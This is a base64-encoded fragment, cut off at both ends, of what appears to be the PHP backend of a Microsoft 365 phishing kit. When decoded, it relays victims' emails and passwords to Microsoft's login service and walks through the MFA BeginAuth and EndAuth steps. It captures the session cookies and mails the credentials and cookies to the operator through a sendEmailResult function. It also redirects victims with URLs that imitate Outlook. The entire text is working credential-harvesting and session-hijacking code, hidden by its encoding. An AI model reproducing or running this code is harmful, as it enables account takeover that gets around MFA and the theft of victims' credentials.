hZGVyc1tdID0gIkFjY2VwdC1MYW5ndWFnZTogZW4tVVMsZW47cT0wLjkiOw0KICAgICRoZWFkZXJzW10gPSAiQ29va2llOiBDa1RzdD1HMTU0MDgxNTM2NDE2NTsgc3Rzc2VydmljZWNvb2tpZT1lc3RzOyBBQURTU089TkFOb0V4dGVuc2lvbjsgZXNjdHg9QVFBQkFBQUFBQUM1dW5hMEVVRmdUSUY4RWxheHRXalRsZk0zS1ZadnNFamVmaE1ESFJWS01GRHdtYWNHS01Rdlh2SnNhWXNnLWEwN3RRQmRnMUZfMFJheGdxZnRXVWo3aW5COHhTYTNibHdENVZsWnlmenU5a3dheHpkU1FVYl9EMThsV19LblhreUN2WHpqb0ZNQ3RrS0I0LXU4WTU3MFhVa0kxTlJfMTVxSEtBb1NmSlBxM3FLOWR3eDlpN2s2dDMtUHR6WUhRU2tnQUE7IGJ1aWQ9QVFBQkFBRUFBQUM1dW5hMEVVRmdUSUY4RWxheHRXalQxR0FTWWlyVnV6S1BGOWViVkVseXBNX2I2eDl0WW5Qa3hhNVRTVVBMVjVUTlh1YjR5amV6WnFxQTBrQjBjbVRIZFFHeHdnVWF6bDZoSDQ5TkU0aTBYMFRpMVFJLUpZczFUY1RKeTNUa3I3NGdBQTsgeC1tcy1nYXRld2F5LXNsaWNlPTAwMjsgd2xpZHBlcmY9RlI9TCZTVD0xNTQwODE1NzM3NjQzIjsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KDQogICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOw0KICAgICRqc29uID0gTWlkKCRyZXN1bHQsICckQ29uZmlnPScsICc7Jyk7DQogICAgJGpzb24gPSBqc29uX2RlY29kZSgkanNvbiwgdHJ1ZSk7DQogICAgY3VybF9jbG9zZSgkY2gpOw0KDQogICAgaWYgKHN0cnBvcygkcmVzdWx0LCAnWW91ciBhY2NvdW50IG9yIHBhc3N3b3JkIGlzIGluY29ycmVjdCcpICE9PSBmYWxzZSkgew0KICAgICAgICBzZW5kRW1haWxSZXN1bHQoJGVtYWlsLCAkcGFzc3dvcmQsICcnKTsNCiAgICAgICAgcmV0dXJuIFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ1lvdXIgYWNjb3VudCBvciBwYXNzd29yZCBpcyBpbmNvcnJlY3QnXTsNCiAgICB9IGVsc2Ugew0KICAgICAgICBwcmVnX21hdGNoX2FsbCgnL15TZXQtQ29va2llOlxzKihbXjtdKikvbWknLCAkcmVzdWx0LCAkY29va2llcyk7DQoNCiAgICAgICAgJGxpc3QgPSBbXTsNCiAgICAgICAgZm9yZWFjaCAoJGNvb2tpZXNbMV0gYXMgJGNvb2tpZSkgew0KICAgICAgICAgICAgJGpzb25Db29raWUgPSBjb29raWVUb0pTT04oJGNvb2tpZSwgJ2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20nKTsNCiAgICAgICAgICAgIGFycmF5X3B1c2goJGxpc3QsICRqc29uQ29va2llKTsNCiAgICAgICAgfQ0KDQogICAgICAgICRlc2N0eCA9ICRsaXN0W2FycmF5X3NlYXJjaCgnZXNjdHgnLCBhcnJheV9jb2x1bW4oJGxpc3QsICduYW1lJykpXVsndmFsdWUnXTsNCiAgICAgICAgJEVTVFNBVVRIUEVSU0lTVEVOVCA9ICRsaXN0W2FycmF5X3NlYXJjaCgnRVNUU0FVVEhQRVJTSVNURU5UJywgYXJyYXlfY29sdW1uKCRsaXN0LCAnbmFtZScpKV1bJ3ZhbHVlJ107DQogICAgICAgICRFU1RTQVVUSCA9ICRsaXN0W2FycmF5X3NlYXJjaCgnRVNUU0FVVEgnLCBhcnJheV9jb2x1bW4oJGxpc3QsICduYW1lJykpXVsndmFsdWUnXTsNCiAgICAgICAgJEVTVFNBVVRITElHSFQgPSAkbGlzdFthcnJheV9zZWFyY2goJ0VTVFNBVVRITElHSFQnLCBhcnJheV9jb2x1bW4oJGxpc3QsICduYW1lJykpXVsndmFsdWUnXTsNCiAgICAgICAgJGNoID0gJGxpc3RbYXJyYXlfc2VhcmNoKCdjaCcsIGFycmF5X2NvbHVtbigkbGlzdCwgJ25hbWUnKSldWyd2YWx1ZSddOw0KICAgICAgICAkRVNUU1NDID0gJGxpc3RbYXJyYXlfc2VhcmNoKCdFU1RTU0MnLCBhcnJheV9jb2x1bW4oJGxpc3QsICduYW1lJykpXVsndmFsdWUnXTsNCiAgICAgICAgJGJ1aWQgPSAkbGlzdFthcnJheV9zZWFyY2goJ2J1aWQnLCBhcnJheV9jb2x1bW4oJGxpc3QsICduYW1lJykpXVsndmFsdWUnXTsNCiAgICAgICAgJGZwYyA9ICRsaXN0W2FycmF5X3NlYXJjaCgnZnBjJywgYXJyYXlfY29sdW1uKCRsaXN0LCAnbmFtZScpKV1bJ3ZhbHVlJ107DQoNCiAgICAgICAgaWYgKGlzc2V0KCRqc29uWydhcnJVc2VyUHJvb2ZzJ10pKSB7DQogICAgICAgICAgICAkaGVhZGVyQ29va2llID0gJ2VzY3R4PScgLiAkZXNjdHggLiAnOyBFU1RTQVVUSFBFUlNJU1RFTlQ9JyAuICRFU1RTQVVUSFBFUlNJU1RFTlQgLiAnOyBFU1RTQVVUSD0nIC4gJEVTVFNBVVRIIC4gJzsgRVNUU0FVVEhMSUdIVD0nIC4gJEVTVFNBVVRITElHSFQgLiAnOyBjaD0nIC4gJGNoIC4gJzsgRVNUU1NDPScgLiAkRVNUU1NDIC4gJzsgYnVpZD0nIC4gJGJ1aWQgLiAnOyBmcGM9JyAuICRmcGMgLiAnOyc7DQoNCiAgICAgICAgICAgICR0b2tlblRvUmV0cnVuID0gWw0KICAgICAgICAgICAgICAgICdjdHgnID0+ICRqc29uWydzQ3R4J10sDQogICAgICAgICAgICAgICAgJ2Zsb3dUb2tlbicgPT4gJGpzb25bJ3NGVCddLA0KICAgICAgICAgICAgICAgICdjYW5hcnknID0+ICRqc29uWydhcGlDYW5hcnknXSwNCiAgICAgICAgICAgICAgICAnY29va2llJyA9PiAkaGVhZGVyQ29va2llDQogICAgICAgICAgICBdOw0KDQogICAgICAgICAgICBzZW5kRW1haWxSZXN1bHQoJGVtYWlsLCAkcGFzc3dvcmQsICcnKTsNCg0KICAgICAgICAgICAgcmV0dXJuIFsNCiAgICAgICAgICAgICAgICAnc3RhdHVzJyA9PiAndmVyaWZ5JywNCiAgICAgICAgICAgICAgICAnbWVzc2FnZScgPT4gJ1BsZWFzZSB2ZXJpZnkgeW91ciBhY2NvdW50JywNCiAgICAgICAgICAgICAgICAnZGF0YScgPT4gYmFzZTY0X2VuY29kZShqc29uX2VuY29kZSgkdG9rZW5Ub1JldHJ1bikpLA0KICAgICAgICAgICAgICAgICdtZXRob2QnID0+IGJhc2U2NF9lbmNvZGUoanNvbl9lbmNvZGUoJGpzb25bJ2FyclVzZXJQcm9vZnMnXSkpLA0KICAgICAgICAgICAgICAgICdrZXknID0+IGJhc2U2NF9lbmNvZGUoJHBhc3N3b3JkKSwNCiAgICAgICAgICAgIF07DQogICAgICAgIH0NCg0KICAgICAgICBzZW5kRW1haWxSZXN1bHQoJGVtYWlsLCAkcGFzc3dvcmQsIGpzb25fZW5jb2RlKCRsaXN0LCBKU09OX1BSRVRUWV9QUklOVCkpOw0KDQogICAgICAgIHJldHVybiBbJ3N0YXR1cycgPT4gJ3N1Y2Nlc3MnLCAnbWVzc2FnZScgPT4gJ0xvZ2luIHN1Y2Nlc3MnXTsNCiAgICB9DQp9DQoNCmZ1bmN0aW9uIGJlZ2luQXV0aE9mZmljZSgkbWV0aG9kLCAkY3R4LCAkZmxvd1Rva2VuLCAkY2FuYXJ5LCAkY29va2llKQ0Kew0KICAgICRkYXRhID0gWw0KICAgICAgICAiQXV0aE1ldGhvZElkIiA9PiAkbWV0aG9kLA0KICAgICAgICAiTWV0aG9kIiA9PiAiQmVnaW5BdXRoIiwNCiAgICAgICAgImN0eCIgPT4gJGN0eCwNCiAgICAgICAgImZsb3dUb2tlbiIgPT4gJGZsb3dUb2tlbiwNCiAgICBdOw0KDQogICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJ2h0dHBzOi8vbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbS9jb21tb24vU0FTL0JlZ2luQXV0aCcpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywganNvbl9lbmNvZGUoJGRhdGEpKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KDQogICAgJGhlYWRlcnMgPSBhcnJheSgpOw0KICAgICRoZWFkZXJzW10gPSAiSG9zdDogbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbSI7DQogICAgJGhlYWRlcnNbXSA9ICJDb29raWU6ICIgLiAkY29va2llOw0KICAgICRoZWFkZXJzW10gPSAiSHBncmVxdWVzdGlkOiA3NGQ2NjhiMS1lOWNmLTQ1N2QtODU2Mi04YzYwZWQ1NzNhMDAiOw0KICAgICRoZWFkZXJzW10gPSAiVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwNC4wLjUxMTIuMTAyIFNhZmFyaS81MzcuMzYiOw0KICAgICRoZWFkZXJzW10gPSAiQ2xpZW50LVJlcXVlc3QtSWQ6IDEyZGZkNjgzLTNlNjItNGM5Mi05NDIxLTg1ZTlmZTAxMWQzYyI7DQogICAgJGhlYWRlcnNbXSA9ICJDYW5hcnk6ICIgLiAkY2FuYXJ5Ow0KICAgICRoZWFkZXJzW10gPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PVVURi04IjsNCiAgICAkaGVhZGVyc1tdID0gIkFjY2VwdDogYXBwbGljYXRpb24vanNvbiI7DQogICAgJGhlYWRlcnNbXSA9ICJPcmlnaW46IGh0dHBzOi8vbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbSI7DQogICAgJGhlYWRlcnNbXSA9ICJSZWZlcmVyOiBodHRwczovL2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20vY29tbW9uL2xvZ2luIjsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KDQogICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOw0KICAgICRqc29uID0ganNvbl9kZWNvZGUoJHJlc3VsdCwgdHJ1ZSk7DQogICAgY3VybF9jbG9zZSgkY2gpOw0KICAgIHJldHVybiAkanNvbjsNCn0NCg0KZnVuY3Rpb24gRW5kQXV0aE9mZmljZSgkdG9rZW4sICRvdGMgPSBudWxsKQ0Kew0KICAgICR0b2tlbiA9IGpzb25fZGVjb2RlKGJhc2U2NF9kZWNvZGUoJHRva2VuKSwgdHJ1ZSk7DQoNCiAgICAkZGF0YSA9IFsNCiAgICAgICAgIk1ldGhvZCIgPT4gIkVuZEF1dGgiLA0KICAgICAgICAiU2Vzc2lvbklkIiA9PiAkdG9rZW5bJ3Nlc3Npb24nXSwNCiAgICAgICAgIkZsb3dUb2tlbiIgPT4gJHRva2VuWydmbG93VG9rZW4nXSwNCiAgICAgICAgIkN0eCIgPT4gJHRva2VuWydjdHgnXSwNCiAgICAgICAgIkF1dGhNZXRob2RJZCIgPT4gJHRva2VuWydtZXRob2QnXQ0KICAgIF07DQoNCiAgICBpZiAoJG90YyAhPSBudWxsKSB7DQogICAgICAgICRkYXRhWydBZGRpdGlvbmFsQXV0aERhdGEnXSA9ICRvdGM7DQogICAgfQ0KDQogICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJ2h0dHBzOi8vbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbS9jb21tb24vU0FTL0VuZEF1dGgnKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGpzb25fZW5jb2RlKCRkYXRhKSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCg0KICAgICRoZWFkZXJzID0gYXJyYXkoKTsNCiAgICAkaGVhZGVyc1tdID0gIkhvc3Q6IGxvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20iOw0KICAgICRoZWFkZXJzW10gPSAiQ29va2llOiAiIC4gJHRva2VuWydjb29raWUnXTsNCiAgICAkaGVhZGVyc1tdID0gIkhwZ3JlcXVlc3RpZDogNzRkNjY4YjEtZTljZi00NTdkLTg1NjItOGM2MGVkNTczYTAwIjsNCiAgICAkaGVhZGVyc1tdID0gIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMDQuMC41MTEyLjEwMiBTYWZhcmkvNTM3LjM2IjsNCiAgICAkaGVhZGVyc1tdID0gIkNsaWVudC1SZXF1ZXN0LUlkOiAxMmRmZDY4My0zZTYyLTRjOTItOTQyMS04NWU5ZmUwMTFkM2MiOw0KICAgICRoZWFkZXJzW10gPSAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PVVURi04IjsNCiAgICAkaGVhZGVyc1tdID0gIkFjY2VwdDogYXBwbGljYXRpb24vanNvbiI7DQogICAgJGhlYWRlcnNbXSA9ICJPcmlnaW46IGh0dHBzOi8vbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbSI7DQogICAgJGhlYWRlcnNbXSA9ICJSZWZlcmVyOiBodHRwczovL2xvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20vY29tbW9uL2xvZ2luIjsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KDQogICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOw0KICAgICRqc29uID0ganNvbl9kZWNvZGUoJHJlc3VsdCwgdHJ1ZSk7DQogICAgY3VybF9jbG9zZSgkY2gpOw0KICAgIHJldHVybiAkanNvbjsNCn0NCg0KZnVuY3Rpb24gcHJvY2Vzc0F1dGhPZmZpY2UoJHRva2VuLCAkdXNlciwgJGNvb2tpZSwgJHBhc3N3b3JkKQ0Kew0KICAgICRkYXRhID0gInR5cGU9MjImcmVxdWVzdD0iIC4gJHRva2VuWydDdHgnXSAuICImbWZhTGFzdFBvbGxTdGFydD0xNjYyMzExMjM0MDI2Jm1mYUxhc3RQb2xsRW5kPTE2NjIzMTEyMzUwOTgmbWZhQXV0aE1ldGhvZD1QaG9uZUFwcE5vdGlmaWNhdGlvbiZjYW5hcnk9cGUlMkJ4QkxWRkolMkZqS3Y4QkcwSWl1T1UzWk9GWlZtTnFrcFFXODlqeTlpNzAlM0QzJTNBMSZsb2dpbj0kdXNlciZmbG93VG9rZW49IiAuICR0b2tlblsnRmxvd1Rva2VuJ10gLiAiJmhwZ3JlcXVlc3RpZD02OTc4ODE4Yy01MGRiLTQ2MTktOTg1MS04MDQxM2E4YTE1MDAmc2FjeHQ9JmhpZGVTbXNJbk1mYVByb29mcz1mYWxzZSZpMTk9ODYyOCI7DQoNCiAgICAkY2ggPSBjdXJsX2luaXQoKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAnaHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9TQVMvUHJvY2Vzc0F1dGgnKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRkYXRhKTsNCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9FTkNPRElORywgJ2d6aXAsIGRlZmxhdGUnKTsNCg0KICAgICRoZWFkZXJzID0gYXJyYXkoKTsNCiAgICAkaGVhZGVyc1tdID0gIkhvc3Q6IGxvZ2luLm1pY3Jvc29mdG9ubGluZS5jb20iOw0KICAgICRoZWFkZXJzW10gPSAiQ29va2llOiBicmNhcD0wOyBNU0ZQQz1HVUlEPWQ3ZmRlYzU1NDJlZTRiZWI4YjM3NTUyMzAxY2JhZWMwJkhBU0g9ZDdmZCZMVj0yMDIyMDkmVj00JkxVPTE2NjIyMjU3NzQwNDY7IENDU3RhdGU9UTI5TlFrTm9RbkZpTW1oMVVVaE9hR1JYYkhOaVNFMTFXVEk1ZEVWblJVSkpaMnRLWjB3dk5UbG1SMGd5YTJkeFExRnJMMFptYzA5eVdsaGhVMFJKY1VOb1NVdEZSblJGV2xWbVIwMXlRa3BuSzFsa2F6TmFVMlJ6YjFORFVXeGxTMVJuZWt4S1JHRlRRbTlLUTFRclZqSlhZbEpxWkhCSlQwRkNTVUZHU1ZORGFFUm5OV1Z0YnpWb1kwaFVXWElyTWl0SlpHUTRTelJYYUVsTFJVWjVhRkZUT0VKSlVtaFBiVXgxTVVFNWRUWmpWakJUUldkdlVXOXZaVFZRVlZZMk1EQmhhM2RxWm5Sck1YVnFSSGh2U2tOVUsxWXlWMkpTYW1Sd1NVMXVORU5CUVVWQlFWRkJRVUZRTnpSTmMwUmtWVGQwUTNReE1rRnRSSFJhTml0elEwRlBlaTlDUVVRd0wzZG1iRGQ1TTFOTmJtcEhNV3hLYnl0M1dHeEtUbXRaTm5sWGVVZDFURUppVDB0RFlrODFaREIxZUVKTWMyVkVPV0pGZWswM2RDdDBlazU0UVd4UFVYaFhTRE5UT1hGMWRHeDNWbnBLVDBsdGFHWm5SVzl3U0ROYVZYazFNamgxYUZVd0wyVlFWVGhqWWl0SFNVSXJOSEp2TTI1TmJFWlNlbXhuVWtsVFdUMD07IHgtbXMtZ2F0ZXdheS1zbGljZT1lc3RzZmQ7IHN0c3NlcnZpY2Vjb29raWU9ZXN0c2ZkOyBBQURTU089TkF8Tm9FeHRlbnNpb247IFNTT0NPT0tJRVBVTExFRD0xOyBFU1RTU0M9MDA7IGVzY3R4PUFRQUJBQUFBQUFELS1ETEEzVk83UXJkZGdKZzdXZXZyREpzZFV2dEFNSUlLcHhpYzZvUkpOLUQ1b3JZNzUwTTdQUWlUMkJsaHRXNmJETHVkbzctbEM2RVJRR1FsbzNseHdVd2xULUtmdDJOQmd2bzBFTkRoTmJMU3pkWmdtcUtaM3d5NGpUTkJjc3M0SC12all4Sl9ZTlpNY2VmTnF4YjRMMzF2Y0hnbVlpY0duQ1FzM2VOMlVFb3FuUHVMTUNYRzNBU2lnNENya0NzZ0FBOyB3bGlkcGVyZj1GUj1MJlNUPTE2NjIzMTEyMzIyMjA7IEVTVFNBVVRIUEVSU0lTVEVOVD0wLkFSSUE0T1hwcU9ZWEIwMktfdHZpSFhmQ3VQZmh2b2x1WG9wTm56M3MxZ0VsbmFjU0FBVS5BZ0FCQUFRQUFBRC0tRExBM1ZPN1FyZGRnSmc3V2V2ckFnRHNfd1FBOVBfNHhja3VheVdKRnAwdzVRWml4NnlfU203NFNxenpZZmhkOHVvc2lVSmJUN3RPQUctY2JubDdoSy13aDA3MWNINDNYQWFnOW5xcXNzOW43Rk5ZdjRjYkxmVlJFX0xCWmxNUHZIWjRTWmRwTXlKdWx4ZFk3azFudzRlbFI5TkVlU0tCdW9uU3BIUEx1Y2o1UTV5cmhjMkczNDVMVlk5aTVFWjZ0aWJRR291bDBMTUY2TkY5ZURoSWpHNC00UC13NGFxdUl5V2lNWjZQeUN2MkY5eno3ckhBcWRGQUM1X1ZkQll0ZVZTSWxCUE1uZG5uV0tHT21DVEpxdGZCdkgzYXNyQlVicHNkaXBVVy1nbkNuOVBHdlllYlRaaTR5Qk95c2hqNl9XZ1pjeV9rQm4xd0xJSF9ZRFRRYnFhYWNRVWdhdGw5TWtIOGg2MjZvSUphYW15dGt1YVI5cVlyRHZBdDFaWWd1ZTl1T2J1LWVaTjFEeldMbnRpeDsgRVNUU0FVVEg9MC5BUklBNE9YcHFPWVhCMDJLX3R2aUhYZkN1UGZodm9sdVhvcE5uejNzMWdFbG5hY1NBQVUuQWdBQkFBUUFBQUQtLURMQTNWTzdRcmRkZ0pnN1dldnJBZ0RzX3dRQTlQOUlZZkVzakpleHZNMWQ2Q0x5S09hMG93MThPOGNQeWlXWHdQc050bVJlQjhncFpWNWh6YkVlZVR1ZTRIdGVJSktQMDdoQlF6TEFldjZUa0xWOURITFRocUloNHpHWElULUdQSjV6UDRTZnpqWU1MQlhZc0hWSEVRM2JkZ1FqcElkbmhfNndQR0hwQ3J3dThoMllCaUZSeE1qaGhBQjRpM1NQSWlFdG8yVC0yRHRYY29hWTkzNmxyYmZtTWZxZzB3VldocFBleXJtQnJCdkExRlpMVGxJSjFaM1lMMGtfTVdDOFp2X19qaF8xZUF5OHoyWlZqWDZFWnBGQXRuNU9xWjJMeklpOHFOdjRhUTZwUlc1S0Q3VnFhWjh1S1lRSGc0REk4QjJfdUFEYS1kNFZQTlN2VXdLRDMwczFoQ2o1RGJ2UVV0LWNfRi1hR1c1d1RaSmtFUzdMeVlWakp1dXhaRVJsc3dDakh3T2FFbUpybEpvYmxJT0F5a3o0c2tPZmZWSkVfZWtwMXc2cUphZ3RhZThIN3FlYk1sUG8yUWo3TzVPTVNnMjRtZEFrME1xYkJXS3BKV0tJMnYySGV1S01VQzBhTXFtcS14UDVXUnNOOV95N0stTHhNQ3RieUI0dUZKVURKel9aM2h1LWl3eTRwbnlBZmtWVk54dGVhNWtabEpuS0ljaEdaUlZqbnRMRFZnOyBFU1RTQVVUSExJR0hUPSswYzczNDRhNC1jYzc1LTQ0NzAtOWU2OC00MmVkMGUyNDliOTc7IGNoPXNXb1lyWFRCRUdUZ2FIODFyR0thVVh2U05pTERGTTVJZkRMNWw0T1FMWWc7IGJ1aWQ9MC5BUklBNE9YcHFPWVhCMDJLX3R2aUhYZkN1UGZodm9sdVhvcE5uejNzMWdFbG5hY1NBQVUuQVFBQkFBRUFBQUQtLURMQTNWTzdRcmRkZ0pnN1dldnJqNjNQOHRrVWhqQjY0RklQTkMwc25GbnpGUnhzNjVvTjJkSUVGaUExUWdiZWJHZ083a2M1Q1A2OGxpdWFvdE5sNGQ0dXdVYndOZjhuc0UwQ3pRemZlWXVLUW00ZWZXNzZYd29uRWU5MDZ3MUp1ZlVDdVlIckhfNThDWl9zTU96R3dBOWRpTjdzSFcxZ1duOHIwLUJMTkJmd0UwX3BkR1pnWFlVRmJObnlHODRnQUE7IGZwYz1BbnlLeno4R2U5RlBoS2lPSWRFTFlsLThBZTdBQVFBQUFDTFNwdG9PQUFBQWpfSkxBd0VBQUFCQjBxYmFEZ0FBQUE7IGNscmM9eyUyMjE5MjM5JTIyJTNhWyUyMjdDVk9iK0NXJTIyXSUyYyUyMjE5MjQwJTIyJTNhWyUyMkNXdDVndDY2JTIyJTJjJTIyVm1QSVBISmglMjIlMmMlMjIrU2pGLzBnYSUyMl19IjsNCiAgICAkaGVhZGVyc1tdID0gIkhwZ3JlcXVlc3RpZDogNzRkNjY4YjEtZTljZi00NTdkLTg1NjItOGM2MGVkNTczYTAwIjsNCiAgICAkaGVhZGVyc1tdID0gIlVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS8xMDQuMC41MTEyLjEwMiBTYWZhcmkvNTM3LjM2IjsNCiAgICAkaGVhZGVyc1tdID0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIjsNCiAgICAkaGVhZGVyc1tdID0gIkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2UvYXZpZixpbWFnZS93ZWJwLGltYWdlL2FwbmcsKi8qO3E9MC44LGFwcGxpY2F0aW9uL3NpZ25lZC1leGNoYW5nZTt2PWIzO3E9MC45IjsNCiAgICAkaGVhZGVyc1tdID0gIk9yaWdpbjogaHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tIjsNCiAgICAkaGVhZGVyc1tdID0gIlJlZmVyZXI6IGh0dHBzOi8vbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbS9jb21tb24vbG9naW4iOw0KICAgICRoZWFkZXJzW10gPSAiQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuOSI7DQogICAgJGhlYWRlcnNbXSA9ICJBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUiOw0KICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkaGVhZGVycyk7DQoNCiAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7DQogICAgY3VybF9jbG9zZSgkY2gpOw0KDQogICAgcHJlZ19tYXRjaF9hbGwoJy9eU2V0LUNvb2tpZTpccyooW147XSopL21pJywgJHJlc3VsdCwgJGNvb2tpZXMpOw0KDQogICAgJGxpc3QgPSBbXTsNCiAgICBmb3JlYWNoICgkY29va2llc1sxXSBhcyAkY29va2llKSB7DQogICAgICAgICRqc29uQ29va2llID0gY29va2llVG9KU09OKCRjb29raWUsICdsb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tJyk7DQogICAgICAgIGFycmF5X3B1c2goJGxpc3QsICRqc29uQ29va2llKTsNCiAgICB9DQoNCiAgICBzZW5kRW1haWxSZXN1bHQoJHVzZXIsIGJhc2U2NF9kZWNvZGUoJHBhc3N3b3JkKSwganNvbl9lbmNvZGUoJGxpc3QsIEpTT05fUFJFVFRZX1BSSU5UKSk7DQoNCiAgICByZXR1cm4gJHJlc3VsdDsNCn0NCg0KJGFjdGlvbiA9ICRfUE9TVFsnZG8nXTsNCg0KaWYgKCRhY3Rpb24gPT0gJ2NoZWNrJykgew0KICAgICRlbWFpbCA9ICRfUE9TVFsnZW1haWwnXTsNCiAgICAkcmVzdWx0ID0gZ2V0RGV0YWlsRW1haWwoJGVtYWlsKTsNCiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KfSBlbHNlIGlmICgkYWN0aW9uID09ICdsb2dpbicpIHsNCiAgICAkbG9naW4gPSBsb2dpbk9mZmljZSgkX1BPU1RbJ3VzZXInXSwgJF9QT1NUWydwYXNzJ10pOw0KICAgICR1c2VyID0gJF9QT1NUWyd1c2VyJ107DQogICAgaWYgKCRsb2dpblsnc3RhdHVzJ10gPT0gJ2Vycm9yJykgew0KICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiBpbmRleC5waHA/ZXJyb3ImaWQ9JHVzZXImLnJhbmQ9MTNJbmJveExpZ2h0LmFzcHgmbj0xMjUyODk5NjQyJmZpZD0xJmZhdj0xJmJnPSIgLiBiYXNlNjRfZW5jb2RlKCRfUE9TVFsnYmFja2dyb3VuZCddKSAuICImbG9nbz0iIC4gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ2xvZ28nXSkpOw0KICAgIH0gZWxzZSBpZiAoJGxvZ2luWydzdGF0dXMnXSA9PSAnc3VjY2VzcycpIHsNCiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogaW5kZXgucGhwP3N1Y2Nlc3MmaWQ9JHVzZXImLnJhbmQ9MTNJbmJveExpZ2h0LmFzcHgmbj0xMjUyODk5NjQyJmZpZD0xJmZhdj0xJmJnPSIgLiBiYXNlNjRfZW5jb2RlKCRfUE9TVFsnYmFja2dyb3VuZCddKSAuICImbG9nbz0iIC4gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ2xvZ28nXSkpOw0KICAgIH0gZWxzZSBpZiAoJGxvZ2luWydzdGF0dXMnXSA9PSAndmVyaWZ5Jykgew0KICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiB2ZXJpZmljYXRpb24/bGlzdCZ1c2VyPSR1c2VyJi5yYW5kPTEzSW5ib3hMaWdodC5hc3B4Jm49MTI1Mjg5OTY0MiZmaWQ9MSZmYXY9MSZiZz0iIC4gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ2JhY2tncm91bmQnXSkgLiAiJmxvZ289IiAuIGJhc2U2NF9lbmNvZGUoJF9QT1NUWydsb2dvJ10pIC4gIiZ0b2tlbj0iIC4gJGxvZ2luWydkYXRhJ10gLiAiJm1ldGhvZD0iIC4gJGxvZ2luWydtZXRob2QnXSAuICIma2V5PSIgLiAkbG9naW5bJ2tleSddKTsNCiAgICB9DQp9IGVsc2UgaWYgKCRhY3Rpb24gPT0gJ3ZlcmlmeScpIHsNCiAgICAkdG9rZW4gPSBqc29uX2RlY29kZShiYXNlNjRfZGVjb2RlKCRfUE9T